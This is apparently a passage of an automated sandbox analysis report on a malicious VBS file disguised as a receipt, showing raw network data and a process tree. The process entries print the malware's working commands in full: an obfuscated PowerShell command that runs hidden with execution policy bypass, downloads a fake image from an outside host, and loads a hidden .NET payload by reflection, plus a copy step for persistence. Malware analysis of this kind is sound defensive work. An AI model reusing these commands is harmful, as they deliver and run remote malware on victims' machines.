2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 46 51 59 72 41 75 63 66 4b 73 6a 7a 78 33 4f 71 77 52 49 61 32 7a 58 41 72 43 6c 65 6b 4c 44 53 70 51 68 42 2b 52 33 35 6f 63 47 39 6f 43 47 71 63 68 33 4c 79 6f 6a 2f 69 74 38 6c 43 66 70 64 56 6f 6f 4d 77 61 41 4d 54 5a 50 33 4b 71 6e 49 70 75 67 30 63 57 37 45 67 79 35 53 63 72 56 51 4c 69 6c 61 76 38 66 44 6c 41 4c 70 62 49 2b 71 68 38 45 63 65 38 39 67 46 74 45 61 68 42 51 4a 69 30 74 71 4a 4a 66 51 4d 52 31 67 62 6b 46 4d 48 6f 75 47 2b 72 50 4e 64 75 2b 72 56 66 53 47 51 65 6e 43 43 35 49 7a 66 67 30 30 4e 37 4f 31 34 62 76 4d 55 4a 73 46 6a 49 70 72 6f 43 33 4c 42 33 71 47 58 48 34 67 37 51 75 44 6f 58 4f 70 44 57 47 2b 4f 5a 6d 57 58 6c 6c 5a 35 47 69 33 49 72 6f 59 79 6a 48 52 77 65 52 4b 4a 37 49 4f 53 61 55 72 41 70 72 47 67 41 61 30 6e 6b 44 Data Ascii: FQYrAucfKsjzx3OqwRIa2zXArClekLDSpQhB+R35ocG9oCGqch3Lyoj/it8lCfpdVooMwaAMTZP3KqnIpug0cW7Egy5ScrVQLilav8fDlALpbI+qh8Ece89gFtEahBQJi0tqJJfQMR1gbkFMHouG+rPNdu+rVfSGQenCC5Izfg00N7O14bvMUJsFjIproC3LB3qGXH4g7QuDoXOpDWG+OZmWXllZ5Gi3IroYyjHRweRKJ7IOSaUrAprGgAa0nkD
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 41 30 75 38 6a 75 68 34 75 4b 45 48 39 51 75 4b 37 62 32 59 61 64 74 59 38 38 57 66 2f 51 42 4d 68 32 34 6f 34 62 7a 51 57 78 61 66 55 54 76 72 41 56 6c 62 54 41 38 47 6d 57 71 51 75 79 4f 76 32 61 4e 6f 7a 37 70 48 58 48 65 41 66 30 72 32 59 30 58 68 37 74 4b 58 44 6c 33 34 53 4f 4a 4f 69 4e 64 56 43 73 55 43 50 62 79 37 53 5a 78 33 57 63 79 76 34 39 51 76 42 35 2f 34 4c 64 6d 6c 66 56 74 38 65 68 71 42 68 53 6c 56 55 43 30 67 6f 52 6a 71 52 77 71 33 36 42 69 42 42 72 6b 70 48 43 38 4e 6a 34 72 51 32 4f 59 6f 37 76 58 58 4a 6e 7a 45 35 78 37 56 68 47 76 6a 64 54 41 39 70 47 69 37 51 53 55 37 31 54 69 46 54 70 30 36 75 5a 68 78 36 53 74 4c 53 2b 6d 2b 70 66 47 33 54 73 53 42 46 70 64 6c 4a 4d 4d 4d 4d 76 43 35 4a 32 4f 78 75 57 53 37 53 47 57 4a 36 33 59 Data Ascii: A0u8juh4uKEH9QuK7b2YadtY88Wf/QBMh24o4bzQWxafUTvrAVlbTA8GmWqQuyOv2aNoz7pHXHeAf0r2Y0Xh7tKXDl34SOJOiNdVCsUCPby7SZx3Wcyv49QvB5/4LdmlfVt8ehqBhSlVUC0goRjqRwq36BiBBrkpHC8Nj4rQ2OYo7vXXJnzE5x7VhGvjdTA9pGi7QSU71TiFTp06uZhx6StLS+m+pfG3TsSBFpdlJMMMMvC5J2OxuWS7SGWJ63Y
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 74 73 36 31 4c 65 48 35 63 58 6d 36 44 39 64 6f 34 66 69 4d 76 6d 69 49 69 47 76 32 43 58 75 6f 59 53 67 41 42 38 44 7a 42 74 6a 56 38 44 65 6a 73 4f 71 6a 4d 4d 59 58 68 30 79 58 59 4b 47 7a 36 62 70 2f 54 39 31 49 79 44 6a 51 6f 4d 4f 66 63 76 4e 6f 2f 2f 55 57 77 7a 4e 67 6e 62 5a 74 52 72 77 50 41 37 31 45 68 2b 6f 4b 66 34 58 4c 6e 62 51 6f 6d 36 73 39 45 51 74 61 6a 38 48 71 79 53 61 41 4d 57 64 73 46 75 4a 43 61 77 4d 57 68 43 59 74 48 52 62 46 63 49 37 52 69 31 46 30 66 4e 53 46 47 73 71 42 4a 73 46 63 71 55 6e 55 34 6b 59 4e 2b 4f 6d 6b 47 36 78 55 4f 4b 37 6f 6e 7a 2b 74 2b 5a 79 55 66 46 67 54 4a 4c 57 51 71 68 2f 69 74 34 4b 53 5a 35 66 36 55 6c 6e 46 62 33 61 73 76 77 62 45 57 43 43 58 68 71 75 78 32 35 49 2b 4f 46 55 46 2f 78 43 4a 4b 4a 6c Data Ascii: ts61LeH5cXm6D9do4fiMvmiIiGv2CXuoYSgAB8DzBtjV8DejsOqjMMYXh0yXYKGz6bp/T91IyDjQoMOfcvNo//UWwzNgnbZtRrwPA71Eh+oKf4XLnbQom6s9EQtaj8HqySaAMWdsFuJCawMWhCYtHRbFcI7Ri1F0fNSFGsqBJsFcqUnU4kYN+OmkG6xUOK7onz+t+ZyUfFgTJLWQqh/it4KSZ5f6UlnFb3asvwbEWCCXhqux25I+OFUF/xCJKJl
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 61 65 44 50 66 5a 2f 59 4d 66 4f 74 66 34 46 47 68 55 4d 61 58 52 52 72 50 31 34 75 53 5a 56 48 76 36 6c 32 30 47 43 52 32 61 4b 4e 6f 6f 49 71 36 4c 30 68 49 74 38 50 34 39 35 51 5a 38 6c 6d 71 74 74 72 51 35 73 49 4c 4e 66 41 50 61 42 54 77 71 71 63 74 73 68 53 47 2f 6a 64 68 62 55 5a 4f 61 68 52 51 42 38 36 4d 52 61 4e 39 30 2b 65 75 58 69 31 4e 6b 56 38 4b 54 75 57 2b 2b 44 57 30 54 4a 32 4c 49 2b 67 35 2f 63 78 45 51 67 6c 37 76 52 46 64 45 73 69 33 34 37 49 4f 49 45 73 52 32 69 74 76 53 35 63 6c 44 36 43 30 35 43 41 2b 43 65 45 43 4e 4d 41 41 74 56 77 77 65 54 35 33 59 59 58 59 71 38 35 54 4f 4d 64 74 43 68 78 63 41 54 72 77 67 57 56 35 75 74 4f 6c 54 72 68 63 58 30 65 58 35 4c 33 75 42 52 30 41 56 54 6d 4f 65 45 2f 67 6e 36 35 44 63 45 75 37 4f 58 Data Ascii: aeDPfZ/YMfOtf4FGhUMaXRRrP14uSZVHv6l20GCR2aKNooIq6L0hIt8P495QZ8lmqttrQ5sILNfAPaBTwqqctshSG/jdhbUZOahRQB86MRaN90+euXi1NkV8KTuW++DW0TJ2LI+g5/cxEQgl7vRFdEsi347IOIEsR2itvS5clD6C05CA+CeECNMAAtVwweT53YYXYq85TOMdtChxcATrwgWV5utOlTrhcX0eX5L3uBR0AVTmOeE/gn65DcEu7OX
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 6e 5a 33 62 4c 64 71 35 55 65 2b 4d 35 45 30 6c 4a 4c 61 44 32 34 69 68 36 34 47 50 6a 52 6f 47 37 34 5a 57 4e 77 48 44 6e 78 4f 55 48 4b 38 59 41 5a 68 47 48 38 49 63 50 47 65 67 46 67 54 4d 34 78 30 41 35 49 48 4c 76 61 48 38 73 54 4f 6e 6a 52 6a 65 2f 77 48 71 42 78 33 39 57 79 71 76 49 4d 51 79 50 67 54 4c 31 65 45 33 44 6a 38 33 42 4a 67 54 43 44 75 34 5a 56 32 69 69 45 50 79 79 5a 6e 41 4a 36 51 43 38 69 76 2f 62 46 45 62 6c 69 71 65 4f 47 33 39 37 2b 71 61 4e 43 65 59 30 31 6f 50 69 36 69 53 73 77 31 70 35 36 75 73 70 70 34 6c 7a 37 62 66 76 66 72 33 63 46 39 67 4e 5a 2f 2b 4b 2b 63 4b 37 37 64 43 4b 47 77 44 53 58 49 43 37 64 4a 5a 63 53 45 5a 66 59 55 38 51 37 78 30 79 6f 4e 64 44 44 6b 68 34 34 77 52 70 52 72 6c 6b 50 55 6a 6c 50 52 6a 36 71 51 Data Ascii: nZ3bLdq5Ue+M5E0lJLaD24ih64GPjRoG74ZWNwHDnxOUHK8YAZhGH8IcPGegFgTM4x0A5IHLvaH8sTOnjRje/wHqBx39WyqvIMQyPgTL1eE3Dj83BJgTCDu4ZV2iiEPyyZnAJ6QC8iv/bFEbliqeOG397+qaNCeY01oPi6iSsw1p56uspp4lz7bfvfr3cF9gNZ/+K+cK77dCKGwDSXIC7dJZcSEZfYU8Q7x0yoNdDDkh44wRpRrlkPUjlPRj6qQ
2024-05-01 06:38:02 UTC	16384	IN	Data Raw: 78 33 6d 6f 64 50 73 43 2f 61 74 44 73 31 51 76 66 51 66 44 43 4f 48 6d 44 4d 7a 47 39 71 67 74 56 65 49 6c 52 70 42 74 58 34 79 67 6a 63 72 37 6d 64 41 33 54 4d 72 34 45 6d 55 6d 5a 36 6c 2f 51 4c 6b 43 4c 78 72 55 74 78 54 74 31 6a 70 36 69 46 6b 6f 39 79 64 37 41 6c 33 34 6c 55 42 78 54 4f 71 57 6e 69 4e 31 53 54 57 50 64 58 47 36 6d 2f 6e 38 4a 53 4b 4c 62 33 38 7a 55 76 62 69 76 6a 7a 56 64 32 34 2b 72 76 49 55 70 78 2b 71 50 6a 42 67 4b 4b 64 34 44 6d 4b 59 53 31 7a 47 6d 4f 42 7a 4b 59 57 32 68 51 73 2f 63 78 33 50 6c 56 6a 50 6c 55 4c 42 64 53 68 34 71 45 56 73 62 64 30 59 45 59 32 43 7a 65 43 72 31 77 2b 30 7a 6a 43 66 57 6c 6b 6b 6a 6b 73 74 7a 46 4d 66 65 31 75 39 78 2b 44 6d 4a 64 69 51 5a 69 75 38 4b 39 4b 56 74 4e 74 59 6e 71 75 37 67 38 71 Data Ascii: x3modPsC/atDs1QvfQfDCOHmDMzG9qgtVeIlRpBtX4ygjcr7mdA3TMr4EmUmZ6l/QLkCLxrUtxTt1jp6iFko9yd7Al34lUBxTOqWniN1STWPdXG6m/n8JSKLb38zUvbivjzVd24+rvIUpx+qPjBgKKd4DmKYS1zGmOBzKYW2hQs/cx3PlVjPlULBdSh4qEVsbd0YEY2CzeCr1w+0zjCfWlkkjkstzFMfe1u9x+DmJdiQZiu8K9KVtNtYnqu7g8q

Target ID:	0
Start time:	08:36:23
Start date:	01/05/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs"
Imagebase:	0x7ff70a210000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:36:45
Start date:	01/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreaQByDgTreHDgTreDgTreYQB3DgTreHgDgTreLwBzDgTreGMDgTreLwB6DgTreG4DgTreLgBlDgTreG4DgTreaQBkDgTreGwDgTreYQByDgTreGUDgTreZwB5DgTreGEDgTredDgTreBzDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreG8DgTrecwBtDgTreGEDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:36:45
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:36:53
Start date:	01/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:37:07
Start date:	01/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs"
Imagebase:	0x7ff689580000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:37:07
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:37:10
Start date:	01/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x940000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:37:21
Start date:	01/05/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs"
Imagebase:	0x7ff70a210000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:37:22
Start date:	01/05/2024
